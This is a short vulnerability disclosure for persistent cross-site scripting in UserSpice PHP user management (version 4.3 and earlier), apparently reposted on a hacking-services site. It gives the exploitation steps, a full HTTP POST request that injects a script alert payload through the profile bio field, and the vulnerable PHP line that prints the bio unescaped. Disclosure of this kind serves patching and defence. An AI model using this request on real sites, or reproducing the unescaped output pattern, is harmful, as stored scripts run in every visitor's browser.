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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Application UserSpice PHP user management
Vulnerability userSpice <= 4.3 Persistent Cross Site Scripting
URL https://userspice.com
Date 2.13.2018
Author Dolev Farhi


1. Login with a regular user
2. Navigate to Public profile
3. Edit your bio
4. Enter XSS payload
5. Once anyone visits the Bio page the payload will execute

POST /users/edit_profile.php HTTP/1.1
Host: 192.168.56.2
Content-Length: 59
Cache-Control: max-age=0
Origin: http://192.168.56.2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.56.2/users/edit_profile.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,he;q=0.8
Connection: close

bio=<script>alert("1")</script>&csrf=8b1339546d6af1e7536da0a705302e9c&update_bio=

Vulnerable code: 
<td>
    <h4><a href="profile.php?id=<?=$v1->id?>" class="nounderline"><?=echouser($v1->id)?>  </a></h4>
    <p><?=$ususerbio?></p>
</td>